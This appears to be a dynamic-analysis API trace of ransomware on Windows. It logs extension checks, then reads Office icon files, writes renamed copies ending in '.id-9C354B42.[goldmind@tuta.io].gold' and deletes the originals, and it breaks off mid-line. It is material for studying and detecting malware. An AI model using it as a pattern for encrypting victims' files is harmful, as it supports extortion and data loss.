[0114.471] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0114.471] lstrlenW (lpString=".ppt") returned 4 [0114.471] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0114.471] lstrlenW (lpString=".zip") returned 4 [0114.471] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.471] lstrlenW (lpString=".rar") returned 4 [0114.471] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.471] lstrlenW (lpString=".bz2") returned 4 [0114.471] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.471] lstrlenW (lpString=".7z") returned 3 [0114.471] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0114.471] lstrlenW (lpString=".dbf") returned 4 [0114.471] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0114.471] lstrlenW (lpString=".1cd") returned 4 [0114.471] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0114.471] lstrlenW (lpString=".jpg") returned 4 [0114.471] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0114.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0114.471] lstrlenW (lpString=".doc") returned 4 [0114.471] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.471] lstrlenW (lpString=".docx") returned 5 [0114.471] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0114.471] lstrlenW (lpString=".pdf") returned 4 [0114.471] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.471] lstrlenW (lpString=".xls") returned 4 [0114.471] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.471] lstrlenW (lpString=".xlsx") returned 5 [0114.471] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0114.471] lstrlenW (lpString=".ppt") returned 4 [0114.471] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0114.471] lstrlenW (lpString=".zip") returned 4 [0114.471] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.471] lstrlenW (lpString=".rar") returned 4 [0114.471] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.471] lstrlenW (lpString=".bz2") returned 4 [0114.471] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.471] lstrlenW (lpString=".7z") returned 3 [0114.471] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0114.471] lstrlenW (lpString=".dbf") returned 4 [0114.471] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0114.471] lstrlenW (lpString=".1cd") returned 4 [0114.471] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSL.ICO") returned 62 [0114.472] lstrlenW (lpString=".jpg") returned 4 [0114.472] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.472] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.472] lstrlenW (lpString="MMSS.ICO") returned 8 [0114.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.472] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2238) returned 1 [0114.472] CloseHandle (hObject=0x3d0) returned 1 [0114.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico")) returned 0x20 [0114.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.473] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.473] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.474] GetLastError () returned 0x0 [0114.474] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x8be, lpOverlapped=0x0) returned 1 [0114.797] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0114.814] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.814] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0114.814] SetEndOfFile (hFile=0x3e0) returned 1 [0114.814] CloseHandle (hObject=0x3e0) returned 1 [0114.814] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.814] SetEndOfFile (hFile=0x3d0) returned 1 [0114.816] CloseHandle (hObject=0x3d0) returned 1 [0114.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico")) returned 1 [0114.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0114.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0114.853] lstrlenW (lpString=".doc") returned 4 [0114.853] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.853] lstrlenW (lpString=".docx") returned 5 [0114.853] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.853] lstrlenW (lpString=".pdf") returned 4 [0114.853] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.853] lstrlenW (lpString=".xls") returned 4 [0114.853] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.853] lstrlenW (lpString=".xlsx") returned 5 [0114.853] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.853] lstrlenW (lpString=".ppt") returned 4 [0114.853] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0114.853] lstrlenW (lpString=".zip") returned 4 [0114.853] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.853] lstrlenW (lpString=".rar") returned 4 [0114.853] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.853] lstrlenW (lpString=".bz2") returned 4 [0114.853] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.853] lstrlenW (lpString=".7z") returned 3 [0114.853] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0114.853] lstrlenW (lpString=".dbf") returned 4 [0114.853] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0114.853] lstrlenW (lpString=".1cd") returned 4 [0114.853] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0114.853] lstrlenW (lpString=".jpg") returned 4 [0114.853] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0114.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0114.854] lstrlenW (lpString=".doc") returned 4 [0114.854] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.854] lstrlenW (lpString=".docx") returned 5 [0114.854] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.854] lstrlenW (lpString=".pdf") returned 4 [0114.854] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.854] lstrlenW (lpString=".xls") returned 4 [0114.854] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.854] lstrlenW (lpString=".xlsx") returned 5 [0114.854] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.854] lstrlenW (lpString=".ppt") returned 4 [0114.854] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0114.854] lstrlenW (lpString=".zip") returned 4 [0114.854] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.854] lstrlenW (lpString=".rar") returned 4 [0114.854] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.854] lstrlenW (lpString=".bz2") returned 4 [0114.854] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.854] lstrlenW (lpString=".7z") returned 3 [0114.854] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0114.854] lstrlenW (lpString=".dbf") returned 4 [0114.854] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0114.854] lstrlenW (lpString=".1cd") returned 4 [0114.854] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0114.854] lstrlenW (lpString=".jpg") returned 4 [0114.854] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.854] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.854] lstrlenW (lpString="NOTES.ICO") returned 9 [0114.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.855] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2998) returned 1 [0114.855] CloseHandle (hObject=0x3e0) returned 1 [0114.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico")) returned 0x20 [0114.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.855] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.855] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.857] GetLastError () returned 0x0 [0114.857] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0114.886] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0114.887] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.887] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0114.887] SetEndOfFile (hFile=0x3ec) returned 1 [0114.892] CloseHandle (hObject=0x3ec) returned 1 [0114.892] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.892] SetEndOfFile (hFile=0x3e0) returned 1 [0114.897] CloseHandle (hObject=0x3e0) returned 1 [0114.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico")) returned 1 [0114.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0114.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0114.899] lstrlenW (lpString=".doc") returned 4 [0114.899] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.899] lstrlenW (lpString=".docx") returned 5 [0114.899] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.899] lstrlenW (lpString=".pdf") returned 4 [0114.899] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.899] lstrlenW (lpString=".xls") returned 4 [0114.899] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.899] lstrlenW (lpString=".xlsx") returned 5 [0114.899] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.899] lstrlenW (lpString=".ppt") returned 4 [0114.899] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0114.899] lstrlenW (lpString=".zip") returned 4 [0114.899] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.899] lstrlenW (lpString=".rar") returned 4 [0114.899] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.899] lstrlenW (lpString=".bz2") returned 4 [0114.899] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.899] lstrlenW (lpString=".7z") returned 3 [0114.899] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0114.899] lstrlenW (lpString=".dbf") returned 4 [0114.899] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0114.899] lstrlenW (lpString=".1cd") returned 4 [0114.899] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0114.899] lstrlenW (lpString=".jpg") returned 4 [0114.899] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0114.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0114.899] lstrlenW (lpString=".doc") returned 4 [0114.899] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.899] lstrlenW (lpString=".docx") returned 5 [0114.899] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.899] lstrlenW (lpString=".pdf") returned 4 [0114.899] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.899] lstrlenW (lpString=".xls") returned 4 [0114.899] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.899] lstrlenW (lpString=".xlsx") returned 5 [0114.899] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.899] lstrlenW (lpString=".ppt") returned 4 [0114.899] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0114.899] lstrlenW (lpString=".zip") returned 4 [0114.899] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.899] lstrlenW (lpString=".rar") returned 4 [0114.899] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.899] lstrlenW (lpString=".bz2") returned 4 [0114.899] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.900] lstrlenW (lpString=".7z") returned 3 [0114.900] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0114.900] lstrlenW (lpString=".dbf") returned 4 [0114.900] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0114.900] lstrlenW (lpString=".1cd") returned 4 [0114.900] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0114.900] lstrlenW (lpString=".jpg") returned 4 [0114.900] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.900] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.900] lstrlenW (lpString="OOFS.ICO") returned 8 [0114.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.901] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2998) returned 1 [0114.901] CloseHandle (hObject=0x3e0) returned 1 [0114.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico")) returned 0x20 [0114.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.901] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.901] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.902] GetLastError () returned 0x0 [0114.902] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0114.903] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0114.904] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.904] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0114.904] SetEndOfFile (hFile=0x3ec) returned 1 [0114.904] CloseHandle (hObject=0x3ec) returned 1 [0114.904] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.904] SetEndOfFile (hFile=0x3e0) returned 1 [0114.906] CloseHandle (hObject=0x3e0) returned 1 [0114.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico")) returned 1 [0114.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0114.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0114.907] lstrlenW (lpString=".doc") returned 4 [0114.907] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.907] lstrlenW (lpString=".docx") returned 5 [0114.907] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.907] lstrlenW (lpString=".pdf") returned 4 [0114.907] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.907] lstrlenW (lpString=".xls") returned 4 [0114.907] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.907] lstrlenW (lpString=".xlsx") returned 5 [0114.907] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.907] lstrlenW (lpString=".ppt") returned 4 [0114.907] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0114.907] lstrlenW (lpString=".zip") returned 4 [0114.907] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.907] lstrlenW (lpString=".rar") returned 4 [0114.907] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.907] lstrlenW (lpString=".bz2") returned 4 [0114.908] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.908] lstrlenW (lpString=".7z") returned 3 [0114.908] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0114.908] lstrlenW 